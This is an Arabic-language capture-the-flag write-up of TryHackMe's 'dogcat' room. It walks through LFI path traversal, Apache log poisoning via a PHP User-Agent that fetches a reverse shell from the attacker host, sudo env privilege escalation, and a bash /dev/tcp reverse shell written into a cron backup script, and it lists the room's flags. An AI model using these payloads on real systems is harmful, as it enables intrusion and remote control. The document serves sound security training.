Dogcat Walkthrough - THM

CTF Walkthrough
حل تحدي dogcat من tryhackme سنتعرف علي LFI وكيفية رفع الصلاحيات الخاصة بالمستخدم والحصول علي root
Ahmed Fahim
July 18, 2023, 8 p.m.
ahmed_fahim
Dogcat Walkthrough - THM

العنوان: dogcat
الرابط: https://tryhackme.com/room/dogcat
الوصف: I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
الصعوبة: متوسطة
ip = 10.10.153.226
انتبه ، إذا رأيت عنوان IP تم تغييره ، فأنا قمت بإيقاف تشغيل الجهاز.


بدء فحص nmap

nmap -sV -oN nmap.out 10.10.243.72

PORT STATE SERVICE VERSION 
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian)) 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

لقد ألقينا نظرة على موقع الويب حيث يتيح لنا عرض بعض صور الكلاب أو القطط

بإلقاء نظرة على عنوان url ، نرى أن الصفحة تشغل ملف php يعرض الصور المخزنة في مجلد dog أو cats الذي يمرر القيمة "dog" أو "cat" إلى المتغير "view".
لنجرب LFI هنا...... للتوضيح إذا كان بإمكاننا عرض etc/passwd/ <<<<<< هكذا :

http://10.10.243.72/?view=../../../../../../../../etc/passwd

لم ينحج , أنه يُسمح فقط cat أو dog.

قمت بتعديل عنوان URL ليكون:

http://10.10.243.72/?view=dog/../../../../../../../../etc/passwd

النتيجة التي أحصل عليها تظهر بعض المعلومات الشيقة للغاية

يوجد index.php هنا والذي يحتوي على include() function
لذلك أحاول الوصول إليه عن طريق وضع عنوان URL على النحو التالي:

http://10.10.243.72/?view=dog/../index


الآن لنري ما الذي يحدث:

عادةً ما ينشأ هذا الخطأ عند محاولة الإعلان عن نفس function مرتين ، والذي من المحتمل أن يحدث في هذه الحالة بسبب include() function. لأسترجاع index.php ، لنجعل PHP تقوم بتشفير Base64 للملف قبل استخدامه في include() function هكذا:

PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers

http://10.10.243.72/?view=php://filter/convert.base64-encode/resource=dog/../index

حسنًا ، لنقم الآن بفك تشفير string يعطينا source code لـ index.php

echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d

هذا الكود

<!DOCTYPE HTML>
<html>
<head>
 <title>dogcat</title>
 <link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
 <h1>dogcat</h1>
 <i>a gallery of various dogs or cats</i>
<div>
 <h2>What would you like to see?</h2>
 <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
 <?php
 function containsStr($str, $substr) {
 return strpos($str, $substr) !== false;
 }
 $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
 if(isset($_GET['view'])) {
 if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
 echo 'Here you go!';
 include $_GET['view'] . $ext;
 } else {
 echo 'Sorry, only dogs or cats are allowed.';
 }
 }
 ?>
 </div>
</body>
</html>

المثير هنا هو أنه يسمح لنا بتمرير متغير "ext" يحتوي على امتداد الملف. عند عدم ضبط المتغير ، فإنه يضيف الامتداد الافتراضي لـ php.
لذلك نتحقق الآن مما إذا كان بإمكاننا قراءة ملف etc/passwd/ بهذا request التالي

http://10.10.243.72/?view=dog/../../../../etc/passwd&ext=

جيد يمككنا قراءة محتويات الملف


نتحقق الآن مما إذا كان بإمكاننا العثور على ملف logs حيث يسجل جميع request. نجد السجلات في var/log/apache2/access.log/ اكتشفنا أن الخادم يقوم بتشغيل apache2. ونرى طلبنا الأخير هناك.

http://10.10.243.72/?view=dog/../../../../../var/log/apache2/access.log&ext=

تمامًا كما توقعت ، أحصل على محتويات access.log على النحو التالي:

الآن أحاول تنفيذ القليل من أمر . ls -la :

http://10.10.243.72/?view=ls%20-la&ext=

ومع ذلك ، أعود إلى نفس الصفحة الاولي

لمزيد من الفحص ، تحقق من access.log كما هو موضح سابقًا. يعطينا السطر المحدد معلومات حول آخر أمر أدخلناه.

هناك شيئان حاسمان لاحظهما هنا هما الحقائق التي مفادها أن أي أمر نعرضه يتم ترميزه وبالتالي لا يتم تنفيذه وأن وكيل المستخدم الخاص بنا لا يتم تنفيذه. فماذا لو كان بإمكاني كتابة بعض أكواد PHP القابلة للتنفيذ في وكيل المستخدم لدينا …….

لقد استخدمت التجشؤ للتحقق من وكيل المستخدم

"شيئان حاسمان ألاحظهما هنا هما أن أي أمر نضعه في view يتم encoded وبالتالي لا يتم تنفيذه وأن user-agent الخاص بنا لا يتم تنفيذه أيضًا. فماذا لو استطعت كتابة بعض executable PHP code في user-agent الخاص بنا...

لقد استخدمت برنامج burp للتلأكد من user-agent.

أقوم الآن بتغيير قيمة user-agent إلى "Test"

لنقم بعمل Reverse Shell

 يمكننا استغلال logs في الحصزل علي  reverse shell. يمكننا القيام بذلك عن طريق injecting PHP code في user-agent:

<?php file_put_contents('shell.php', file_get_contents('http://10.8.66.8/shell.php')); ?>

حسنا لنقم الان بتشغيل http server لنقل shell code الخاص بنا 

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
لا تنسي تغير local ip

تاكد من وجودك في directory  الموجود فيه php-reverse-shell.php

sudo python3 -m http.server 4433

ثم نقم بتنفيذ هذا request :

curl -A "<?php file_put_contents('php-reverse-shell.php', file_get_contents('http://10.8.66.8:4433/php-reverse-shell.php')); ?>" \
 "http://10.10.243.72?view=/dog/../../../../var/log/apache2/access.log&ext"

اذا لم يتم رفع الملف في اول request قم بتنفيذه مره أخري

قم بتشغيل netcat 

nc -nlvp 1234

الان قم بفتح الملف من خلال المتصفح

http://10.10.243.72/php-reverse-shell.php

الان حصلنا علي shell

البحث عن Flag 1

find / -name *flag* 2>/dev/null
listening on [any] 1234 …
connect to [10.8.66.8] from (UNKNOWN) [10.10.243.72] 47544
Linux 052d3a1ad89d 4.15.0–96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
 11:41:36 up 5 min, 0 users, load average: 1.26, 1.87, 1.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ find / -name *flag* 2>/dev/null
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/var/www/html/flag.php
/var/www/flag2_QMW7JvaY2LvK.txt
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/share/dpkg/buildflags.mk
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
$ cat /var/www/html/flag.php
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

البحث عن Flag 2

من خلال نفس المستخدم يمكننا قراءة الملف

$ cat /var/www/flag2_QMW7JvaY2LvK.txt
THM{LF1_t0_RC3_aec3fb}

البحث عن Flag 3

لا نري الملف الخاص ب flag3 نحتاج الي عمل privilege escalation.

$ sudo -l
Matching Defaults entries for www-data on 052d3a1ad89d:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 052d3a1ad89d:
 (root) NOPASSWD: /usr/bin/env

حسنا جيد, انظر الي هذا المرجع

https://gtfobins.github.io/gtfobins/env/

sudo /usr/bin/env /bin/bash

حسنا الان انا ROOOOOOOOOT جيد جدا

find / -name *flag* 2>/dev/null
.............
..............
..................

cat /root/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}

البحث عن Flag 4

هل نحن في container؟

عند تشغيل الامر hostname يعطيني 052d3a1ad89d وهو ما قد يدل علي اننا في container.

عند البحث في directories في root system نجد أن /opt/ يحتوي علي backups:

cd /opt
ls
backups
ls -la
total 12
drwxr-xr-x 1 root root 4096 Jul 17 11:38 .
drwxr-xr-x 1 root root 4096 Jul 17 11:37 ..
drwxr-xr-x 2 root root 4096 Apr 8 2020 backups
cd backups
ls -la
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Jul 17 11:38 ..
-rwxr - r - 1 root root 69 Mar 10 2020 backup.sh
-rw-r - r - 1 root root 2949120 Jul 17 12:22 backup.tar

لنري محتوي backup.sh

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

إذا قد تمكنت من كتابة code في ملف 'backup.sh' بحيث يتم تنفيذه تلقائياً بعد دقيقة واحدة، فقد تستفيد من ذلك للخروج من container التي نحن فيها؟

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-shee

bash -i >& /dev/tcp/10.8.66.8/4343 0>&1

حسنًا ، لنقوم بكتابة  reverse shell الخاص بنا في backup.sh

printf '#!/bin/bash\nbash -i >& /dev/tcp/10.8.66.8/4343 0>&1' > backup.sh

لا تنسي تشغيل netcat 

nc -lvnp 4343

┌──(elliot㉿kali)-[~]
└─$ nc -nvlp 4343 
listening on [any] 4343 …
connect to [10.8.66.8] from (UNKNOWN) [10.10.243.72] 34370
bash: cannot set terminal process group (4685): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# whoami
whoami
root
root@dogcat:~# ls
ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
root@dogcat:~#

انتهينا من هذا التحدي من TryHackMe لنتقابل في تحدي جدبد......................


Ctf Writeup Ctf Cybersecurity Hacking Pentesting THM ctf walkhrough LFI Local File Inclusion dogcat thm tryhackme